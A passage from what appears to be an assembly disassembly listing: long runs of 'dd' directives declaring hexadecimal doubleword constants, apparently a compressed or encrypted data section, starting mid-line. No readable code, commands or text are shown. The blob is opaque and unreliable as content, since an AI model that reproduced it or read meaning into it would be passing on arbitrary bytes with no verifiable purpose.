4D6343A6h, 0FC676129h, 41F00EFFh, 7060770Fh dd 746E6972h, 4C146663h, 4544F04Fh, 6206E52h, 98707B9Eh dd 50657AE5h, 6F643E70h, 375FB875h, 2079C642h, 1F53BEFFh dd 63DE7325h, 2DD35C65h, 0B5BE8CDEh, 874D3862h, 1EB7E261h dd 6BFBEE38h, 0F7C779CBh, 2E63C66Dh, 0B6B20CCh, 0DA727E62h dd 51A76875h, 2C64D66Fh dd 1E2BA2A3h, 245E4375h, 38C4C190h, 0E509D232h, 0B3181529h dd 33FD4702h, 0FEF741F1h, 239AF5D5h, 7E8F43FFh, 0A663B5D2h dd 4163467Dh, 0DF6F4C27h, 9F5394AEh, 67B3B4E7h, 4EA4A9B4h dd 0EA00DF96h, 10060h, 5DD40000h, 5E2D0000h, 668E35EFh dd 0E40E3FBBh, 44EA3F57h, 11871C17h, 0DC184796h, 0C10CB36Ah dd 3B6DD31h, 0DB239077h, 959E2F25h, 0A4BEE744h, 0D4CCC24Eh dd 0DEC58532h, 6995AD75h, 5ABE3DC1h, 0BA615DF8h, 0A3467F8Ah dd 0B86BFC11h, 17CE8232h, 0BD1454A5h, 563B27E6h, 1A39697Ah dd 1184ACA5h, 52F78D14h, 3901F1E1h, 7D99238Bh, 0F456E365h dd 0B71617E8h, 0D66C9F00h, 0A007F64h, 188B3724h, 0EA04EC26h dd 4FF14238h, 22CA95C1h, 0B12CEDFCh, 1F93C73Dh, 0B08549FCh dd 90FB603Eh, 3D226CAAh, 4FDF6444h, 0EF0AB420h, 0E46A5432h dd 0E22366CCh, 0EFC5A397h, 9EF4278Ah, 8EBC94AFh, 5B191BB8h dd 0A0482AB3h, 0CE400D88h, 0EC0F391Fh, 0A223E0FEh, 5FA1C25Bh dd 0F592DD0Eh, 0EA084F3Ah, 72EDB7Fh, 0C98600DFh, 28178131h dd 0DC712A28h, 9A6E8ADCh, 79D7DF64h, 0AF3C9F7Ch, 0EBB5ABCEh dd 5DAF15D8h, 824B24A8h, 1B8A3360h, 408522B3h, 66462BC4h dd 9170A526h, 8CB8C3B5h, 870C43DBh, 0E102A5FEh, 0A1F3D000h dd 0F9D2189Eh, 4D82230Bh, 8055F507h, 8F53A0E1h, 4C567C29h dd 819154B3h, 0D3D95857h, 737A7021h, 0A4636BEBh, 8FB29146h dd 0BB41E312h, 1BA31043h, 49954563h, 456C6E9Fh, 3FFC5481h dd 3AFA1AC5h, 0E4899F3Ah, 0B0241D0Dh, 157C206Eh, 0B1F34D2Ah dd 2E1F78E9h, 900EA42Ch, 424C8854h, 0C9E9017h, 0A30C8ACCh dd 0C73835F8h, 366E4554h, 2312CEB0h, 14000F0Eh, 467DD068h dd 5CA050EDh, 0A153ADD8h, 0D828602Bh, 0BA89C408h, 15750842h dd 40700BBEh, 8062E7BBh, 675634A9h, 0D87B11D8h, 134F6324h dd 815F54ABh, 0D5C5C5CDh, 0EC0093F7h, 0DB98E45Dh, 0CD0506F2h dd 1B217FDEh, 0EDA6F6C5h, 8FEC5556h, 2CAF334Bh, 0E04CD0C0h dd 0D11F60F3h, 3BE4F9A2h, 78432FB0h, 3DA6DAC4h, 51B1BCE3h dd 0D71CD3DEh, 442F206Bh, 0C39F6C48h, 0D9FB237h, 33B74401h dd 8A271F3Dh, 3F219F78h, 1CB3A375h, 1159B8C9h, 3FBB011Dh dd 4EAC2064h, 0B0DD2739h, 0D0201EA7h, 0F4BF6767h, 61F90F37h dd 608707A9h, 9BF2DBD9h, 68B0FE4Ch, 0E815F9Bh, 65A4A919h dd 5675BA5Eh, 0E82034CDh, 1255A7FDh, 79972413h, 7173F3F9h dd 0FA9B761h, 0D61F2E9Dh, 95034B5Ah, 6B7DD9C1h, 5CCF39F3h dd 7C6A535Eh, 0CAC36957h, 8C9C624Ch, 1BE06960h, 6786FCEBh dd 0B6673419h, 0BE59B406h, 75C0989Dh, 758FD299h, 0E0697786h dd 4F92AFCFh, 0CE7808F6h, 88C9FC87h, 9ED51698h, 919843EEh dd 0EC87F97Bh, 34AC637Bh, 0EC727315h, 0C8167238h, 6FA8EB2Bh dd 0A9788677h, 0B1945B46h, 7D17C0FDh, 73EFA0C3h, 0ECF14E7Eh dd 325A7838h, 0FBC87BE3h, 0ABFEDAB3h, 0ECE25B76h, 0FD90FCADh dd 0D5C0821h, 59B5B1C6h, 0B9AC2EE9h, 2F340B32h, 7CF543FAh dd 4B87A96Fh, 4BA42EB7h, 173789BDh, 0CAF7172Ch, 0AFD82C4Fh dd 8409B833h, 9EE9CFEBh, 6E388FF7h, 405D4776h, 0CD08FC8Bh dd 13E7BE3h, 1376F197h, 290087FDh, 4138BE7Dh, 1A3530CFh dd 3EA94B56h, 6394AE69h, 0A35088CCh, 444500D4h, 0CA11BF5Ah dd 0F0B5285Eh, 28EC2E53h, 0FB39DD99h, 869CA236h, 0B8A90B58h dd 0CA92AABBh, 38BB37A1h, 0C7C356AAh, 0CD1816EEh, 0DEFC1048h dd 9E8CE0CDh, 0B319580Ch, 3E2E9362h, 0BC320F84h, 7473EEDAh dd 863BC7E5h, 1AC81C0Fh, 0A95BA031h, 72FC9FE9h, 0F9E613F6h dd 4AE1BC19h, 13F27B8Bh, 16B409F4h, 0A49189ADh, 0D76E298Ah dd 0C6E02B07h, 63ECAC2h, 7C517B0Ah, 7C0762F5h, 0A8DCB98Dh dd 15DD523Dh, 833B9409h, 9EC16AF8h, 36AA57CCh, 3F1600CEh dd 23FD0513h, 0FB397952h, 94198454h, 1F96E9B5h, 2E380BC0h dd 0E5BC70DBh, 0F5956D36h, 0EC37B3E2h, 0A18C979Bh, 29BFB49Fh dd 0D5853F54h, 4E88D85h, 7D8C34F5h, 7B3CDC44h, 83DEC8DDh dd 7079FE45h, 778FEBC9h, 54868CCFh, 44AD70C6h, 0D545783Dh dd 0CB7A060Ah, 0B31176BFh, 5E50D1C4h, 0BF92354Bh, 0A6289B7Ch dd 2957965Dh, 6098C4FFh, 616DAA65h, 984703EEh, 66A46F50h dd 0CD1066B7h, 0A557F8CCh, 0E1A34BF4h, 6C9CCE91h, 0B6D50CDFh dd 1EB08215h, 7D07F9Fh, 0FC52264Bh, 0C8E53E31h, 5983FB92h dd 96BD303Ch, 56EF539Ah, 0FF4317E4h, 0CC556836h, 0A195AC4Ch dd 634C0351h, 45C58378h, 9E31996Eh, 300349F0h, 0DC734E03h dd 0D4B5881Ah, 85901443h, 85F805A3h, 462B739h, 99CBFF51h dd 49C277E8h, 0AEE5ED74h, 127129C9h, 5D5732D4h, 1BA5E2D0h dd 0BF7BA840h, 42E37900h, 6CFC3130h, 1CACE789h, 0E6EB974Fh dd 0E21B1D65h, 4AF80C56h, 0B7A0E352h, 0CF6C2AC3h, 0F9F81E51h dd 0AD6229ECh, 42FCD69Ch, 2D361E9Fh, 4F5CC869h, 0A80AB62h dd 0FD415C87h, 0CEF19656h, 0DA488BDAh, 0F0AD3F49h, 0BEAF9DFDh dd 7739B0D1h, 13C47ECCh, 127CB1BDh, 179E1023h, 41BF665Fh dd 6F528F92h, 4D39FDD6h, 1E212EACh, 33E45B75h, 0B05E52C5h dd 248027C5h, 0CCFB1311h, 80769F3Eh, 4C455861h, 2552C88Bh dd 467A2FF9h, 848E8CD6h, 6E7AF647h, 43FA35AEh, 54133575h dd 0E596E96Fh, 4341F480h, 0E27FA60h, 0EB6260B8h, 95B02067h dd 0C46FCFDBh, 0BCA6B224h, 22C00814h, 77466313h, 0D6CFDF93h dd 0F3DB52F9h, 0CA52C78Eh, 0B03B95F9h, 161D5030h, 1D5F45B3h dd 0DB096BA8h, 37D4E6DCh, 2D688EA1h, 3E53D257h, 0A43AC55Dh dd 1FDF1B76h, 864F8EB7h, 42955261h, 6E7791F2h, 0AC3C10A3h dd 0EAD643BDh, 0C332E2ABh, 4F3F39D3h, 98AE12D9h, 6A712AC5h dd 50550EEFh, 144DFA89h, 0D4F8BD17h, 9A5C35FCh, 85A6A8D9h dd 528512D0h, 7C6397F1h, 788746F2h, 7721DB95h, 7C16B74Eh dd 421A21ADh, 8833980Ch, 0CF4CDA64h, 0C3A6FCA2h, 3654D170h dd 8C4B7649h, 0CA602BAAh, 34E36195h, 0C850C267h, 9889FA51h dd 19B8C497h, 0ABDC48B6h, 38DD0E9Eh, 0CD80534Fh, 0AA018EA9h dd 0A3F1AD33h, 58BE0548h, 0D38271AAh, 5B5E4239h, 13568065h dd 6C531B00h, 84CD7854h, 0ACC03C30h, 10CF16B7h, 0B2213E03h dd 5376DC1Dh, 0F7C384B4h, 0B5E22ED3h, 781216D3h, 54E07187h dd 112AFCADh, 0DA0D100Bh, 1325E3EDh, 288D40DBh, 5A40D7FFh dd 68666FCEh, 7D6B5EC9h, 0C0CE2D5Dh, 630151ECh, 270BEEABh dd 880BDA4Bh, 0F83963BDh, 5782B2Ah, 9D1FA196h, 0B63F7EABh dd 51BAF1E1h, 28F6B8F2h, 392A5AACh, 841D622Fh, 0B71514AFh dd 932F7870h, 0D027A8D3h, 0FD8C6C45h, 0F322B7E4h, 0B4F6946Dh dd 81525C1Dh, 0B1F26621h, 80B27A2Fh, 12C2E241h, 3A57291Fh dd 0E1F93FE7h, 26DC4CA1h, 0D6D678A1h, 0E693CD32h, 0A3C8D5Ch dd 7D408CEDh, 28CFCB0Fh, 336D44C7h, 0C4D17D7Ch, 3F77CB50h dd 864D31Ch, 4278A1D3h, 6D222698h, 3609D985h, 6AA23A4Ch dd 0EA2F4A91h, 2B9A3073h, 0F3CF8931h, 44D107C5h, 0B3BBE4C3h dd 0FD78F5B9h, 0BC4B2B3Fh, 5A28864Eh, 60E1D77Ch, 6D4B4A2Dh dd 1721A486h, 0C8C361E7h, 0CFC2BDC6h, 0DF23F12h, 3D373800h dd 0A0B54D99h, 4073913Fh, 0DA1D465Ch, 8F357CDh, 0A8F31EF2h dd 20CE3D67h, 0A2EFC3EEh, 78C553D2h, 0DC2CBF89h, 61D8B7A7h dd 22D30B75h, 0DA632728h, 4C318AFFh, 4CC9D894h, 3560E97Ch dd 7C7192A6h, 90ACFC90h dd 0FF668959h, 174010FAh, 8DC946Ah, 0FC83AE9Eh, 0E6377A17h dd 1B0FDF8Bh, 8E4AF1E9h, 66D1625h, 6C30656h, 6041F9C4h dd 84CFA0A7h, 0E6AB4C95h, 51AD441Ah, 0B73F9DA9h, 0BF4BC536h dd 9A7933B6h, 0FD6AD0A3h, 0E8CCEEBFh, 1E0CB274h, 5E893203h dd 0F390C5C6h, 8EBD839Dh, 0E321FEFCh, 7EAA7A40h, 6D6D1148h dd 0F6490CCAh, 7FDE5D5Eh, 0A70CA21Dh, 5A22A0CDh, 335E0D78h dd 7BC58765h, 542D5C66h, 39F03A75h, 7B90D681h, 0E1DC1A0Bh dd 863EDDD1h, 9C5A7ABh, 0DC490954h, 0C1D7062Fh, 4F59AE6Bh dd 3CE07FD5h, 186E07AAh, 0FCE85805h, 28D13D55h, 0CC95215Bh dd 828567C1h, 78CF5268h, 0E18D8C60h, 0B5CF5A2Ah, 0F3577896h dd 4DDBFA99h, 0BC2E83FFh, 0D9A03048h, 5947206Eh, 6DBEAB99h dd 1CFF2D56h, 43CE8B29h, 0CDC59A94h, 3D5F3BDEh, 0B816DC7Bh dd 0A9BA5607h, 7551501Ah, 23F22335h, 0B9D0F7CAh, 3B4985Bh dd 87B42C0Bh, 0C7BC2C69h, 5B5DA699h, 0EEFAD916h, 40E40F2Fh dd 871AD2B8h, 84F451EDh, 1062EEAh, 0E6C04497h, 0C8D72615h dd 99042868h, 20566E4Fh, 11FA040Ch, 0BAAEBCE4h, 599D4FB6h dd 0DE40AEA5h, 0AC6BE60Fh, 5D54C9DDh, 0CBE0C8FFh, 0E5E62A14h dd 0ABD681EFh, 48A29794h, 203328E8h, 99FE1D9Bh, 760322E5h dd 0C3FAD77Ah, 2A33C84Ah, 61640F8Eh, 0CABBB8E2h, 5F084DF0h dd 86EEF14h, 572525C1h, 427426AEh, 0FF362B43h, 9FDBE9DCh dd 0D290DC7Dh, 0D5471328h, 3F564951h, 30BE195h, 7B252A5Ch dd 6DC30B6Dh, 85BDEE48h, 61EAAA2Fh, 0E03AD6Ch, 13A32AA3h dd 91BD4DE3h, 0D86AA606h, 6D3F4806h, 398AC4B9h, 32675194h dd 0E20177ECh, 0F44D5921h, 489FC709h, 957F9767h, 4DE0EE3Dh dd 1C76F8BAh, 0D8F6E056h, 3D7091A4h, 5B3D6A04h, 5D7C24C5h dd 3C184FF2h, 0F730B61Fh, 0DC247F67h, 262D6289h, 0A46C3033h dd 3F4ABDA9h, 0EEDA82B2h, 990CD180h, 78DDC63Ch, 87EC5FF1h dd 5ABD8E8Eh, 428E95DDh, 8831018Ah, 9277110Bh, 8B66BE99h dd 0EB8FB8EFh, 6D07DB33h, 0DF724C68h, 0CAE36EE5h, 0BE82AB04h dd 2B5FA031h, 0DEA90A71h, 0FC20FB3Bh, 7873AAF5h, 0E65C168Ch dd 0EFBFC8CCh, 0EAE144C8h, 0A6CDF45h, 0C2B0FBB2h, 13A8CE66h dd 97A5E439h, 0BB14C5F1h, 0A83D78E2h, 3C11ED75h, 0D0B33B3Bh dd 6F0509E9h, 0DE176B55h, 0AD31D720h, 6CA6F174h, 9B06C6C0h dd 2F97C7E3h, 9133B597h, 0BDB8E7D8h, 76E42123h, 49C94BF9h dd 63C04B5Dh, 361C3640h, 608D0891h, 0E3BB8FA4h, 0B0397C09h dd 2A2EB322h, 740C7A72h, 0D23A7616h, 206654B5h, 9988D296h dd 2AE858A3h, 622C2D7Bh, 0FB671E9Dh, 663E9C45h, 0BF3E5568h dd 53F49FAh, 0C8CEF681h, 940B40A0h, 0F90D5369h, 7DFEAEC1h dd 1E5A55BBh, 3D7AFB13h, 72A852F2h, 74378835h, 421791D1h dd 0C514F24Bh, 841DC1B2h, 8DBD8D53h, 760588A3h, 3AF0C34Ch dd 0E8BDD42Eh, 0DCF1E335h, 3E0CBF4Bh, 0D96DABD7h, 48793CF6h dd 125EA61Ch, 0B83D62F0h, 0B8319147h, 0C785C505h, 589E7639h dd 0C9AFA585h, 0ACE925CEh, 0C87BB543h, 0E0093275h, 6835BD59h dd 0AA69A545h, 1F72FCCCh, 0A53BD5A5h, 1B597569h, 3E4EF5C0h dd 9BCCF2E3h, 0AC48BA9Dh, 0ACD453D8h, 0EDDB4D36h, 0C94B9F8Ch dd 5CFD13EDh, 96D07D71h, 2C1BB99Ah, 992BE914h, 0FB2BAA3Ah dd 729DD012h, 0B8AD6B70h, 0A12C09C3h, 0BFDD2FACh, 0C5C3244Eh dd 9D533547h, 0C254D47Ah, 5387C6BFh, 0A5F589BFh, 8312F4E2h dd 0F1267CE1h, 0EC4C6C41h, 768A8960h, 0CFA9E9B2h, 6559CBA0h dd 6314DDDBh, 403A161Fh, 0E86798C1h, 714AFBA8h, 6F622FA7h dd 4998F0D4h, 0D7B70154h, 0BBEABB06h, 0D62D9F36h, 244AC3ECh dd 0E8FB72F6h, 32750A37h, 4FFADE54h, 48384625h, 8F265CAFh dd 985E2770h, 0E6FE7C70h, 64F150BEh, 0DF737C0Ch, 0FD8F8142h dd 0CDE2057Eh, 0EDEED933h, 0C8E45673h, 84F022A7h, 0FC7BCDEFh dd 8C666BDAh, 71FEFFFAh, 0DA5FD0F2h, 0CA60BFBCh, 889780F8h dd 3A7EDDFAh, 2BD67223h, 3FD3F43Bh, 0A9AA2C19h, 1DFAA6F0h dd 42BE8A52h, 956536F3h, 0E243A618h, 4A4B9709h, 271A4C79h dd 92BFBA41h, 8AF8F8EFh, 1F75C3A3h, 44FF5DA9h, 0A58689A0h dd 22D5E99Dh, 4F9C5263h, 484FEAE5h, 0D449143Bh, 371589A4h dd 7BDBF671h, 1F503E3Ah, 6B7166A7h, 5A33FC90h, 66807783h dd 0FBDACA36h, 9E85D921h, 56FF9EB3h, 6277C2DCh, 0A00BED47h dd 84F04FD9h, 484BC208h, 0E66E83F7h, 0E6010E79h, 70C9F586h dd 6768F0E4h, 0B715A422h, 5BCEE3D5h, 874A976h, 0CD9CF314h dd 3C77CC49h, 70B4918Eh, 0B1195287h, 0B8CF7D7Bh, 68027357h dd 0BC17B479h, 2BB0ECC3h, 2EE5345Dh, 77BBBC19h, 0D4978E07h dd 0B410342Dh, 3C4F5AAEh, 80F2D269h, 85CA4DA7h, 4AC4F1C9h dd 0CA383D3h, 0F62CBC00h, 90D226ADh, 5B361E78h, 73E935BDh dd 65C9C146h, 64F3ABC6h, 120A35BDh, 3A3D0151h, 0DF79DA45h dd 1725760Dh, 293C407Eh, 4C47B330h, 475C35AFh, 823A1728h dd 0C4307716h, 0B5A1874h, 4E3E4C1Fh, 0EB4E6043h, 0BF162849h dd 1E513753h, 2B47D83Ah, 9BC2BEBAh, 530274D3h, 4BE8E27Eh dd 0FAC735A5h, 0FD7B5EABh, 5F11BF04h, 4E8E6CF6h, 0D6F86EABh dd 0A603D76Bh, 6F073D20h, 76FA9C67h, 1209C221h, 0DFA1350h dd 0E136914Dh, 8134520Dh, 8E09920h, 0D5ADD823h, 0D2545E4Bh dd 2F2ABEA4h, 8BF972F4h, 6452A1ABh, 6AEA2EB8h, 3A529BA0h dd 0F7D091Ch, 0E10FF9E7h, 8CDE0C4h, 0A32B8821h, 144AF9B5h dd 0AA52BEBh, 0A1D535C8h, 26C2CBFEh, 8C65CA49h, 46F813EEh dd 7E55F0BEh, 0B97BC292h, 1669267Ch, 1F77E47Dh, 0BBAF86F5h dd 750795E7h, 7B3C2202h, 954E899h, 7790AA47h, 32C762DFh dd 0CE9BC258h, 0E5FA3FDBh, 0E8D061F3h, 9D488F99h, 65B1E582h dd 45643DCBh, 5F48C839h, 0AD272012h, 491F2962h, 0CFF7D310h dd 0D517A188h, 25F0BE79h, 0A0F1F5A6h, 8BB948A5h, 0AFD052AFh dd 210AE357h, 99611E87h, 582CE554h, 0C36F3BAFh, 800AF86Ch dd 95248748h, 47EC2FC1h, 4A16FD1Dh, 0E4272869h, 0DFA3E229h dd 0F8B9AE68h, 725F92CDh, 3CEA05A0h, 977EAFB9h, 97F8C68Eh dd 0FA9B8C7Ah, 256C0A25h, 0A003AD8Fh, 4CF03400h, 25545C98h dd 96CE532Ah, 0C5846E23h, 4953B3ECh, 4D6A715Eh, 57290F47h dd 0B1384CAAh, 0ABA18648h, 2131EA0Ah, 8FAE9DE8h, 10749D02h dd 6DE73A19h, 0EC175276h, 5DEB9D6Ah, 4EFBC746h, 0ABC127B0h dd 588DB983h, 882E2944h, 24139466h, 8E12A375h, 0BB6511C5h dd 51351344h, 0DEDB55D4h, 0FBFA8A96h, 418B6AD4h, 0D790F1A7h dd 0F23F52D7h, 25E27AC7h, 78330FA9h, 5826C445h, 0B93E9C65h dd 70DBD9EAh, 550675FAh, 8CB19D42h, 6818761Ch, 185CD826h dd 0C4A915C5h, 0D9A166E8h, 0C6A559FEh, 264D0A2Ah, 0B3ACFBD6h dd 1FD860BCh, 0C9E8D37Ah, 43EFD41h, 12C8525Fh, 1944B57Ch dd 664753BAh, 9602F373h, 45F80B34h, 678FF9B0h, 2D9A050Eh dd 579A85C8h, 4A63AF26h, 7D019712h, 0B330F312h, 732A9BC2h dd 17781176h, 0A8658449h, 8F4A302Ch, 0FF54BFCAh, 9D52EB99h dd 8CE0858Dh, 0C48F7155h, 0AE3BBF98h, 4F0441CFh, 0B985C8FAh dd 4776DACAh, 64FB8F22h, 0D8284771h, 781A8389h, 649ADE63h dd 0E2A5515Eh, 1D8EBEC9h, 4AAA8364h, 13C7505Fh, 0FBBF1F42h dd 0E97D201Ch, 4701F932h, 4410BD66h, 0D605A9E1h, 48B94129h dd 77612454h, 982B1205h dd 0D71789A2h, 783D1D2Ch, 31E7FAA0h, 24817C51h, 4A979890h dd 0BCE46F8Ch, 0FA77490h, 4BB5A794h, 524CF278h, 42D67695h dd 6F48F003h, 2F37CD2h, 1EDFF3BAh, 14BE5C3Eh, 4328992Fh dd 12DAA3C0h, 54ABDA35h, 0FB3BFE19h, 7E681607h, 0BA7EE046h dd 0A2FAFB39h, 0C6F43A41h, 6697161Bh, 95AD33CBh, 58762F88h dd 1AC83C6h, 810898BDh, 0E36FBE7Fh, 0D2C97C6Ah, 283F154Ah dd 0D20231B1h, 99A8B1A6h, 0E1732742h, 67586288h, 304B6475h dd 0A7833D05h, 1EC1103Ah, 0F8D98D22h, 24B77AC5h, 92C89E26h dd 5F592830h, 739E9E3Dh, 0E962BE48h, 4EAC1C1Ch, 0DB1F0DC9h dd 0BE14F3DEh, 390CCB6Ch, 3638C81Ah, 86AC5F1Dh, 8549BE0Bh dd 0DDC72Eh, 0AD1437A6h, 0C66C548Ah, 10A996Bh, 41B9B3C2h dd 4C18E9A2h, 757B5D3Ch, 0D8F07596h, 5C045D47h, 0EC34349Fh dd 0ABAB6A9Dh, 734A22C2h, 0E88D9A68h, 0B730A35Fh, 1A6A20CCh dd 196126A4h, 0E4451AFDh, 0E56312F8h, 343CB3C0h, 0DC5E78C0h dd 0D00F3C3Fh, 0AE978965h, 0A86C24C5h, 0F72CF5E2h, 8C6546E6h dd 0C59451F1h, 32466C4h, 22A29135h, 0FD467915h, 6F44E462h dd 834D7C13h, 1271D791h, 2A4C476Ah, 20F90A5Ah, 0FD59E4CFh dd 0A46668A9h, 0ADA988E7h, 0D3ECDF0Eh, 8E51EBA4h, 0CE8B84C5h dd 756A449Dh, 675B7E23h, 3D334D3Ch, 5736B1F3h, 0A2542109h dd 12750B2h, 0BCC40231h, 0E9661F1Fh, 90755950h, 1AD25799h dd 6DAC7F3Ah, 1F978F2Dh, 0A0633912h, 8B3AE09h, 26E3735Ah dd 7A481C6h, 9F71359Eh, 53BAB455h, 8A05AA22h, 0D5D0C3C1h dd 5FB14B72h, 2783DC89h, 0B79DDB50h, 80427A3Dh, 7E5DA863h dd 0ED4F820Ah, 90890639h, 9A72BFB3h, 0DD553FC2h, 0FBFDAAD7h dd 23E7EEEh, 0F71D3D96h, 0FE19C952h, 0A66CEFC7h, 0E5CC108Fh dd 19A11B1Bh, 6DBDC0C8h, 0D68D1D9Dh, 0CA5682C8h, 0F1E7D06Ch dd 5A95C360h, 602863F4h, 234855E0h, 202429E5h, 0A75D6BF3h dd 0A31350DBh, 0AA51F9B7h, 49AC5D33h, 7E3044B4h, 998129ACh dd 16442E8h, 0E8EBC168h, 9F96FDA1h, 0DDC6B01Fh, 5A562F11h dd 579C5C86h, 0B9C01D3h, 0FAD6339h, 688B9E6Dh, 27804BBCh dd 3CFCAAD1h, 324A08AEh, 0FEBE3F5Eh, 3A7ED050h, 0A8EF63D4h dd 0EF3D5E47h, 88E18070h, 3D6935Ah, 3A7E642Fh, 98487C8Dh dd 3EEA7990h, 9213E0E8h, 890AB3B0h, 0CBAE3975h, 0BC34AF7Dh dd 99459B46h, 0E8486D10h, 197DD70Ah, 0C99D74E7h, 143F4A4Bh dd 27CE8E0Ah, 49913D11h, 3D0F6515h, 9BDB69F0h, 69CDB504h dd 0A8C5AAF4h, 9A84604Ch, 7A65EF55h, 4686C8C2h, 0F5D41F9Dh dd 785A9D8Fh, 9A431D93h, 7F25A9h, 0CED679B4h, 0B577BD9Ah dd 0A99479DBh, 98F914DEh, 2EA36A1Ah, 92D37114h, 688449AEh dd 9BEEC62Ah, 1573A45Dh, 0EFE8EEDDh, 9712FF30h, 4E45FF70h dd 0D07D11A2h, 0D2FA6BE7h, 58EEADBBh, 0BB91DAC6h, 59E3E6E2h dd 0D1C55575h, 0EC4FB8BDh, 4EC12A86h, 92CA7240h, 53B12DA1h dd 0ECB0EE3Dh, 28D08C04h, 0AAF7D9BBh, 8B4A515h, 7FF2EFBAh dd 0E1786C99h, 0D8BA705Fh, 0EC5E26A0h, 0CA7E516Ah, 339196CAh dd 94A32D58h, 0DB700E80h, 0AD2E77C1h, 30F07A58h, 5FE490FDh dd 5301489Dh, 88E7012Dh, 41EA18E7h, 139F3DD0h, 22304BCh dd 0F98A3FCBh, 0DBEDEE38h, 0AEA3AE2h, 451DE3F6h, 0B4DB13B2h dd 4EDE2FA3h, 7585504Ah, 38B2CD6Dh, 4D8A6F43h, 76B389FDh dd 0C4DFB2B9h, 757F0498h, 853C3CCDh, 0CA3F2F1Eh, 389AF549h dd 83ADD887h, 23A90E64h, 0A6C43D8Ah, 0AAA107FDh, 83683903h dd 84E77B26h, 0AB663CAh, 59353551h, 8F0311BAh, 79D1CF8Fh dd 7B2F2D31h, 1AEAAE04h, 0A4FC36DBh, 0AAE6F86Eh, 0E6AD292Eh dd 4ABB2865h, 0EE3E0390h, 0BDCFFE16h, 4D6C2235h, 0B4A0D326h dd 0C8143B6Ah, 1F0995AEh, 4550C996h, 20ECBA9Ah, 7851BD3Dh dd 14ABBF8Eh, 5EEB85C1h, 82EAAD5Bh, 0D3D0248Dh, 0C34629B7h dd 8AA12918h, 3D56DBCBh, 77270F43h, 0B77933DCh, 38C61B1h dd 2EA65F24h, 8AADA38Bh, 43B24A7Fh, 61B93F7Dh, 8B78208Eh dd 99441932h, 0B9AA4AFDh, 715A108Dh, 412CDCEBh, 0C5002D1Eh dd 5C3731C6h, 3B949680h, 0C177B3B7h, 114FBAB5h, 0C20F2A16h dd 2DC5E4C4h, 9F765F34h, 0D2E87CB6h, 0DA633F99h, 0F573057Dh dd 852B117Eh, 0EA19A4ABh, 6121529Dh, 22A72B77h, 0A8DC365h dd 78B51701h, 151EDD24h, 0BE029C92h, 0EC59F0E3h, 656196Ah dd 52E12086h, 654562CEh, 0A91FF500h, 43B458A6h, 0EBD6BAEh dd 0D347E7EFh, 2EA09E36h, 2B52F46Fh, 0ADEB7137h, 0C49F1142h dd 73D04131h, 80B2C507h, 5E2000F1h, 16E5242Fh, 57B7A5BDh dd 3698FC29h, 54AAEA68h, 4BC4976h, 0A7925258h, 406D8D7Bh dd 3A9A877Fh, 0D7F32A06h, 24BA4258h, 0E307CC6Ah, 0F669918Fh dd 0BB3276D8h, 0DA8347D8h, 0E56A6877h, 6048F0E1h, 5D29AE38h dd 0DDCD19EDh, 0EA65D7B5h, 72A4573Eh, 117473A2h, 16A06299h dd 44E79AB6h, 0CF7C92E2h, 4DEDEEDh, 4C3457Ch, 0B020994h dd 757DF406h, 1B3E592Ah, 0F5D27CEh, 7C90C6C1h, 9EF63ECDh dd 16F3E245h, 0C7F649E1h, 0FC27A4BDh, 9E6D38F5h, 0E0342BF9h dd 76813612h, 0B57CAB95h, 8D853549h, 81A441ACh, 835F02E4h dd 3F7E3B8Bh, 0E5A53B92h, 89429820h, 9115A508h, 3B9A051Bh dd 0DBD45B06h, 5258553Ah, 0C268C22Dh, 82849286h, 0E73C8E09h dd 271B0848h, 0A815E606h, 4F256B59h, 49235884h, 167A5794h dd 577108F4h, 2DA44C8Fh, 0D445D37Fh, 0DB38A7D1h, 0BBD58BC7h dd 0F36E3A6Eh, 0BAD40852h, 788A0DE6h, 4658803Ch, 7B49CA30h dd 8BE4C224h, 188EA358h, 993ED2B0h, 0A9EC85B7h, 85752F02h dd 60750B42h, 8280A148h, 3B2A7A5Fh, 0C3A99A94h, 65DC473Ah dd 24F18F96h, 4F399A25h, 4E7044D1h, 94CA098h, 5F4E4FF5h dd 0A58A4DCBh, 7BF2812Fh, 0D8CD0627h, 739BF619h, 1A957C3Ah dd 0C87C9D51h, 1B6EF9Ch, 3300386Eh, 0C91BF1BCh, 14E83A31h dd 4F39A3ADh, 44BC8270h, 1EE8EA1Eh, 0C3347977h, 186908AAh dd 2C6841A0h, 519FF088h, 0BAF05533h, 0E41D1FC9h, 0F7F44128h dd 230DA21Eh, 0D311A280h, 0BCF86851h, 0F09A2657h, 39E9912Eh dd 75827E22h, 0F66F42D5h, 80179B29h, 62EBFE64h, 0D0CF118Fh dd 4DB094EBh, 4CB9A883h, 7276FA56h, 0D72B8302h, 4EC6C82Ch dd 0C4BB8D5Bh, 8FC92F82h, 6C1DD749h, 0D2063A3Dh, 37243AE4h dd 974DE2A9h, 9545AB40h, 42726774h, 0BF02DDEBh, 3DFABE2Eh dd 6E0FEA88h, 0BFD69B6Fh, 0CC06C6A3h, 6E5485F6h, 1ABD986h dd 0D8F27351h, 0C44E09D0h, 0A88219BDh, 0DA5DBC72h, 9A814E13h dd 0A13A83D1h, 0C464B02Fh, 0C01CF65Ch, 0E1AE5643h, 0A8BB9A38h dd 7A596902h, 525654FDh, 0CD4DF080h, 18CCD673h, 0D944B084h dd 7DAEAF8Fh, 68BD8680h, 470F2853h, 0DBFACE6h, 2D61508Eh dd 8B3BDED3h, 0B64A8AD7h, 46627E6Ah, 2DBC6936h, 0ED9BD1Dh dd 4B847D3Fh, 8B4FB295h, 69EF8867h, 9CABC55Ch, 4C7BEAB8h dd 0E73816F1h, 9464726Ah, 0AA53511Fh, 0AFF4F0D3h, 0FBE07571h dd 9FB0BF30h, 78F88856h, 0A24EB1DDh, 0D3D14271h, 5A0CFB1Bh dd 660B8A34h, 18BE0ED6h, 62DCCDF6h, 1709E75Eh, 55BA792Fh dd 3169B447h, 0C4E53ED7h, 5328495Ch, 2A0130FFh, 39751AA3h dd 794E7CB4h, 0E0376DB8h, 11E21AD0h, 6BEDED98h, 0E0D1011Ch dd 87A796Fh, 6997DFC9h, 5D68EF93h, 760D0843h, 0F4855F60h dd 6983716Bh, 0B8F2DEA8h dd 0B2375E1Bh, 9BB4E93Bh, 0D011AB5h, 0C6BC7C0h, 5E91738Dh dd 3DF43966h, 0B1841D3Fh, 0AC080181h, 6E6A8DC5h, 6EAFF0F0h dd 6DFCE5B2h, 91F79131h, 9F8B7583h, 6765C144h, 0E802CF8Dh dd 40726719h, 0B86AA20Eh, 91C16B16h, 0CC840590h, 0A476FEE6h dd 0A4E5AE58h, 9D20AD3Fh, 0D12C5710h, 802DEE67h, 5A669F49h 